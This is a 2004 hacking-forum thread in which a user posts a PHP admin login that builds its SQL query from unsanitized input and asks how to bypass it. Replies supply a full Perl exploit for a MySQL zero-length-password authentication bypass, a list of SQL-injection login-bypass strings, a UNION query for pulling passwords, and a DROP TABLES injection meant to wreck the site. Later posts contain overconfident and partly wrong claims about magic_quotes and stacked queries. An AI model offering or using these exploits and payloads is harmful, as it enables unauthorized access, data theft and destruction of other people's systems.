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Bypass authentication |
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Posted: Tue Jul 13, 2004 5:16 pm |
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rafaelfpviana |
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Joined: Jun 27, 2004 |
Posts: 1 |
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how could I bypass this:
Login form:
Code: |
<p style='margin-left: 5; margin-right: 5'>
<font face='Verdana' size='2'>You are not logged.<br>
<br><form ACTION='index.php' method=post><input type="hidden" name="PHPSESSID" value="44c54761b5ff0ae5bb43bc8cbda6fd45" />
<input type='hidden' name='on' value='2'>
<p align='center'><font face='Verdana' size='1'>:: Admin ::</font></p>
<div align='center'>
<center>
<table border='1' cellpadding='0' cellspacing='0' style='border-collapse: collapse' bordercolor='#111111' width='25%' id='AutoNumber1'>
<tr>
<td width='100%' colspan='2' bgcolor='#CCFFFF'>
<p style='margin-top: 2; margin-bottom: 2' align='center'>
<font size='1' face='Verdana'>Login</font></td>
</tr>
<tr>
<td width='15%'>
<p style='margin-left: 2; margin-top: 2; margin-bottom: 2'>
<font size='1' face='Verdana'>Login:</font></td>
<td width='50%'>
<p style='margin-left: 2; margin-top: 2; margin-bottom: 2'><font color=''>
<input type='text' name='id' size=10 style='font-family: ; font-size: 8 pt; background-color: #FFFFFF; border-style: solid; border-width: 1'></font></td>
</tr>
<tr>
<td width='15%'>
<p style='margin-left: 2; margin-top: 2; margin-bottom: 2'>
<font size='1' face='Verdana'>Password:</font></td>
<td width='50%'>
<p style='margin-left: 2; margin-top: 2; margin-bottom: 2'><font color=''>
<input type='password' name='passwd' size=20 style='font-family: ; font-size: 8 pt; background-color: #FFFFFF; border-style: solid; border-width: 1'></font></td>
</tr>
<tr>
<td width='100%' colspan='2' bgcolor='#CCFFFF'>
<p align='center' style='margin-top: 2; margin-bottom: 2'>
<input type='submit' value=' Login ' name='Submit' style='border-style:solid; border-width:1px; font-family: ; font-size: 8 pt; '></td>
</tr>
</table>
</center>
</div>
</form>
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This is the code that validates:
Code: |
session_start();
include "../config.inc.php";
if ($id && $passwd)
{
$query = "select * from admin where id='$id' and passwd='$passwd'";
$result = mysql_query($query);
if (mysql_num_rows($result) > 0 )
{
$valid_admin = $id;
session_register("valid_admin");
}
}
if (session_is_registered("valid_admin"))
{
include "admin.php";
}
else
{
if (isset($id))
{
echo "<p style='margin-left: 5; margin-right: 5'>
<font face='Verdana' size='2' color='#ff0000'>login or password incorrect</font>";
}
else
{
echo "<p style='margin-left: 5; margin-right: 5'>
<font face='Verdana' size='2'>You are not logged.<br>";
}
echo "$HERE IS THE FORM THAT I PUT ON THE TOP ";
}
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Thanks for the help people.
If you guys think that is something missing just tell me. |
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Posted: Tue Jul 13, 2004 9:32 pm |
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LINUX |
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Joined: May 24, 2004 |
Posts: 404 |
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war game ???
mysql bypass
Code: | #!/usr/bin/perl
#
# The script connects to MySQL and attempts to log in using a zero-length password
# Based on the vuln found by NGSSecurity
#
# Exploit copyright (c) 2004 by Eli Kara, Beyond Security
# <elik@beyondsecurity.com>
#
use strict;
use IO::Socket::INET;
usage() unless ((@ARGV >= 1) || (@ARGV <= 3));
my $username = shift(@ARGV);
my $host = shift(@ARGV);
if (!$host)
{
usage();
}
my $port = shift(@ARGV);
if (!$port)
{
$port = 3306; print "Using default MySQL port (3306)\n";
}
# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";
# receive greeting
my $reply;
recv($socket, $reply, 1024, 0);
if (length($reply) < 7)
{
print "Not allowed to connect to MySQL!\n";
exit(1);
}
print "Received greeting:\n";
HexDump($reply);
print "\n";
# here we define the login OK reply
# my $login_ok = "\x01\x00\x00\x02\xFE";
# break the username string into chars and rebuild it
my $binuser = pack("C*", unpack("C*", $username));
# send login caps packet with password
my $packet = "\x85\xa6".
"\x03\x00\x00".
"\x00".
"\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash
substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1)
print "Sending caps packet:\n";
HexDump($packet);
print "\n";
send $socket, $packet, 0;
# receive reply
recv($socket, $reply, 1024, 0);
print "Received reply:\n";
HexDump($reply);
my @list_bytes = unpack("C*", $reply);
#print "The fifth byte is: ", $list_bytes[4], "\n";
if (length(@list_bytes) >= 4)
{
print "Response insufficent\n";
}
#if ($reply eq $login_ok)
if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
{
print "Received OK reply, authentication successful!!\n";
}
else
{
print "Authentication failed!\n";
}
# close
close($socket);
sub usage
{
# print usage information
print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\n
<username> - The DB username to authenticate as
<host> - The host to connect to
[port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";
exit(1);
}
###
# do a hexdump of a string (assuming it's binary)
###
sub HexDump
{
my $buffer = $_[0];
# unpack it into chars
my @up = unpack("C*", $buffer);
my $pos=0;
# calculate matrix sizes
my $rows = int(@up/16);
my $leftover = int(@up%16);
for( my $row=0; $row < $rows ; $row++, $pos+=16)
{
printf("%08X\t", $pos);
my @values = @up[$pos .. $pos+15];
my @line;
foreach my $val (@values)
{
push(@line, sprintf("%02X", $val));
}
print join(' ', @line), "\n";
}
# print last line
printf("%08X\t", $pos);
my @values = @up[$pos .. $pos+$leftover-1];
my @line;
foreach my $val (@values)
{
push(@line, sprintf("%02X", $val));
}
print join(' ', @line), "\n";
}
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Save to .pl (Perl script) ![Cool](modules/Forums/images/smiles/icon_cool.gif) |
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hey there |
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Posted: Fri Jul 16, 2004 8:19 am |
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icenix |
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Joined: May 13, 2004 |
Posts: 106 |
Location: Australia |
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hey there buddy, looks like we got a classic case of SQL Injection
Code: |
$query = "select * from admin where id='$id' and passwd='$passwd'";
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not sure who wrote this but he shouldnt of made it open source :/
I THINK that this can be exploited pretty easily.
because $id and $passwd are completly unsanitized..
perfect evasion:
you can use one of these two techniques to bypass:
A: you can bypass the login by deeming it "TRUE"
by putting as User ID:
Code: |
' or 0=0 --
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
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try some of them
(someone correct me if im wrong, this should work or something similar)
OR B: Extract the password from the database which would require you to have some knowledge of the database.
try something like:
Code: |
http://thesite.com/thelogin.php?id=' UNION ALL SELECT user_password FROM the_database WHERE "='
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OR C ( hehehe ) : you can fuck the site to hell by dropping all the tables
Code: |
http://thesite.com/thelogin.php?id=' ; DROP TABLES WHERE "='
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im doing all this from memory and no doubt i might of missed something but yeah
good luck on your little hacking trip
any more questions just come back and ask ![Very Happy](modules/Forums/images/smiles/icon_biggrin.gif) |
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Re: hey there |
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Posted: Sun Jul 25, 2004 12:52 pm |
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waraxe |
Site admin |
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Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
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icenix wrote: | hey there buddy, looks like we got a classic case of SQL Injection
Code: |
$query = "select * from admin where id='$id' and passwd='$passwd'";
|
not sure who wrote this but he shouldnt of made it open source :/
I THINK that this can be exploited pretty easily.
because $id and $passwd are completly unsanitized..
perfect evasion:
you can use one of these two techniques to bypass:
A: you can bypass the login by deeming it "TRUE"
by putting as User ID:
Code: |
' or 0=0 --
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
|
try some of them
(someone correct me if im wrong, this should work or something similar)
OR B: Extract the password from the database which would require you to have some knowledge of the database.
try something like:
Code: |
http://thesite.com/thelogin.php?id=' UNION ALL SELECT user_password FROM the_database WHERE "='
|
OR C ( hehehe ) : you can xxxx the site to hell by dropping all the tables
Code: |
http://thesite.com/thelogin.php?id=' ; DROP TABLES WHERE "='
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im doing all this from memory and no doubt i might of missed something but yeah
good luck on your little hacking trip
any more questions just come back and ask ![Very Happy](modules/Forums/images/smiles/icon_biggrin.gif) |
First of all, in case of php and mysql, there is "magic_quotes" enabled with ~100% probability. So no sql injection here
And one more thing - mysql does not support multiple sql queries through php scripts, so forget about "... ; DROP TABLE ..." ![Wink](modules/Forums/images/smiles/icon_wink.gif) |
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lol |
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Posted: Mon Jul 26, 2004 10:11 pm |
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icenix |
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hahah well there you go
told you i was unsure lol
sorry but glad to see you got your answer. |
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Re: hey there |
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Posted: Mon Aug 23, 2004 7:44 am |
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bima |
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Joined: Jun 14, 2004 |
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Quote: |
And one more thing - mysql does not support multiple sql queries through php scripts, so forget about "... ; DROP TABLE ..." ![Wink](modules/Forums/images/smiles/icon_wink.gif) |
u right , maybe the next mysql version have this feature,
so the multiple sql queries can be executed like mssql...
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Re: hey there |
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Posted: Mon Aug 23, 2004 6:36 pm |
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madman |
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Joined: May 24, 2004 |
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bima wrote: | u right , maybe the next mysql version have this feature,
so the multiple sql queries can be executed like mssql... |
Well, mysql indeed support multi queries separated with semicolon chars. But server-side parsers (like PHP) always stripping first match semicolon separator and all commands after. |
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_________________ ch88rs,
madman |
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